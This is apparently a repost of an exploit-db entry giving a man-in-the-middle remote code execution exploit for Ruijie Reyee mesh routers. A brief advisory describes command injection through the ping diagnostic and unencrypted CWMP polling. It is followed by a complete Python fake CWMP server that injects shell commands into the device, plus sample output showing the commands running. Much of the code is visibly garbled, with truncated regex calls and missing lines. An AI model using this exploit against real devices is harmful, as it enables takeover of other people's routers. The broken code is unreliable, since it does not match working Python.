Ruijie Reyee Mesh Router - MITM Remote Code Execution (RCE)

IoT 2个月前 admin
152 0 0
# Exploit Title: Ruijie Reyee Wireless Router firmware version B11P204 - MITM Remote Code Execution (RCE)
# Date: April 15, 2023
# Exploit Author: Mochammad Riyan Firmansyah of SecLab Indonesia
# Vendor Homepage:
# Software Link:
# Version: ReyeeOS 1.204.1614; EW_3.0(1)B11P204, Release(10161400)
# Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO

The Ruijie Reyee Cloud Web Controller allows the user to use a diagnostic tool which includes a ping check to ensure connection to the intended network, but the ip address input form is not validated properly and allows the user to perform OS command injection.
In other side, Ruijie Reyee Cloud based Device will make polling request to Ruijie Reyee CWMP server to ask if there's any command from web controller need to be executed. After analyze the network capture that come from the device, the connection for pooling request to Ruijie Reyee CWMP server is unencrypted HTTP request.
Because of unencrypted HTTP request that come from Ruijie Reyee Cloud based Device, attacker could make fake server using Man-in-The-Middle (MiTM) attack and send arbitrary commands to execute on the cloud based device that make CWMP request to fake server.
Once the attacker have gained access, they can execute arbitrary commands on the system or application, potentially compromising sensitive data, installing malware, or taking control of the system.

This advisory has also been published at

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from html import escape, unescape
import http.server
import socketserver
import io
import time
import re
import argparse
import gzip

# command payload
command = "uname -a"

# change this to serve on a different port
PORT = 8080

def cwmp_inform(soap):
    cwmp_id ="(?:<cwmp:ID.*?>)(.*?)(?:<\/cwmp:ID>)", soap).group(1)
    product_class ="(?:<ProductClass.*?>)(.*?)(?:<\/ProductClass>)", soap).group(1)
    serial_number ="(?:<SerialNumber.*?>)(.*?)(?:<\/SerialNumber>)", soap).group(1)
    result = {'cwmp_id': cwmp_id, 'product_class': product_class, 'serial_number': serial_number, 'parameters': {}}
    parameters = re.findall(r"(?:<P>)(.*?)(?:<\/P>)", soap)
    for parameter in parameters:
        parameter_name ="(?:<N>)(.*?)(?:<\/N>)", parameter).group(1)
        parameter_value ="(?:<V>)(.*?)(?:<\/V>)", parameter).group(1)
        result['parameters'][parameter_name] = parameter_value
    return result

def cwmp_inform_response():
    return """<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="" xmlns:SOAP-ENC="" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="" xmlns:xsi=""><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">16</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>"""

def command_payload(command):
    current_time = time.time()
    result = """<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="" xmlns:SOAP-ENC="" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="" xmlns:xsi=""><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">{cur_time}</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand><Mode>config</Mode><CommandList SOAP-ENC:arrayType="xsd:string[1]"><Command>{command}</Command></CommandList></cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand></SOAP-ENV:Body></SOAP-ENV:Envelope>""".format(cur_time=current_time, command=command)
    return result

def command_response(soap):
    cwmp_id ="(?:<cwmp:ID.*?>)(.*?)(?:<\/cwmp:ID>)", soap).group(1)
    command ="(?:<Command>)(.*?)(?:<\/Command>)", soap).group(1)
    response ="(?:<Response>)((\n|.)*?)(?:<\/Response>)", soap).group(1)
    result = {'cwmp_id': cwmp_id, 'command': command, 'response': response}
    return result

class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
    protocol_version = 'HTTP/1.1'
    def do_GET(self):

    def do_POST(self):        
        print("[*] Got hit by", self.client_address)

        f = io.BytesIO()
        if 'service' in self.path:
            stage, info = self.parse_stage()
            if stage == "cwmp_inform":
                print("[!] Got Device information", self.client_address)
                print("[*] Product Class:", info['product_class'])
                print("[*] Serial Number:", info['serial_number'])
                print("[*] MAC Address:", info['parameters']['mac'])
                print("[*] STUN Client IP:", info['parameters']['stunclientip'])
                payload = bytes(cwmp_inform_response(), 'utf-8')
                self.send_header("Content-Length", str(f.tell()))
            elif stage == "command_request":
                self.send_header("Set-Cookie", "JSESSIONID=6563DF85A6C6828915385C5CDCF4B5F5; Path=/service; HttpOnly")
                print("[*] Device interacting", self.client_address)
                payload = bytes(command_payload(escape("ping -c 4 && {}".format(command))), 'utf-8')
                self.send_header("Content-Length", str(f.tell()))
                print("[*] Command response", self.client_address)
            print("[x] Received invalid request", self.client_address)
        self.send_header("Connection", "keep-alive")
        self.send_header("Content-type", "text/xml;charset=utf-8")
        if f:
            self.copyfile(f, self.wfile)

    def parse_stage(self):
        content_length = int(self.headers['Content-Length'])
        post_data = gzip.decompress(
        if "cwmp:Inform" in post_data.decode("utf-8"):
            return ("cwmp_inform", cwmp_inform(post_data.decode("utf-8")))
        elif "cwmp:X_RUIJIE_COM_CN_ExecuteCliCommandResponse" in post_data.decode("utf-8"):
            return ("command_response", command_response(post_data.decode("utf-8")))
            return ("command_request", "Ping!")
    def log_message(self, format, *args):

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--bind', '-b', default='', metavar='ADDRESS',
                        help='Specify alternate bind address '
                             '[default: all interfaces]')
    parser.add_argument('port', action='store',
                        default=PORT, type=int,
                        help='Specify alternate port [default: {}]'.format(PORT))
    args = parser.parse_args()

    Handler = CustomHTTPRequestHandler
    with socketserver.TCPServer((args.bind, args.port), Handler) as httpd:
        ip_addr = args.bind if args.bind != '' else ''
        print("[!] serving fake CWMP server at {}:{}".format(ip_addr, args.port))
        except KeyboardInterrupt:

ubuntu:~$ python3
[!] serving fake CWMP server at
[*] Got hit by ('[redacted]', [redacted])
[!] Got Device information ('[redacted]', [redacted])
[*] Product Class: EW1200G-PRO
[*] Serial Number: [redacted]
[*] MAC Address: [redacted]
[*] STUN Client IP: [redacted]:[redacted]
[*] Got hit by ('[redacted]', [redacted])
[*] Device interacting ('[redacted]', [redacted])
[*] Got hit by ('[redacted]', [redacted])
[*] Command response ('[redacted]', [redacted])
PING ( 56 data bytes
64 bytes from seq=0 ttl=64 time=0.400 ms
64 bytes from seq=1 ttl=64 time=0.320 ms
64 bytes from seq=2 ttl=64 time=0.320 ms
64 bytes from seq=3 ttl=64 time=0.300 ms

--- ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.300/0.335/0.400 ms
Linux Ruijie 3.10.108 #1 SMP Fri Apr 14 00:39:29 UTC 2023 mips GNU/Linux


原文始发于exploit-db:Ruijie Reyee Mesh Router - MITM Remote Code Execution (RCE)

版权声明:admin 发表于 2023年10月13日 下午4:13。
转载请注明:Ruijie Reyee Mesh Router - MITM Remote Code Execution (RCE) | CTF导航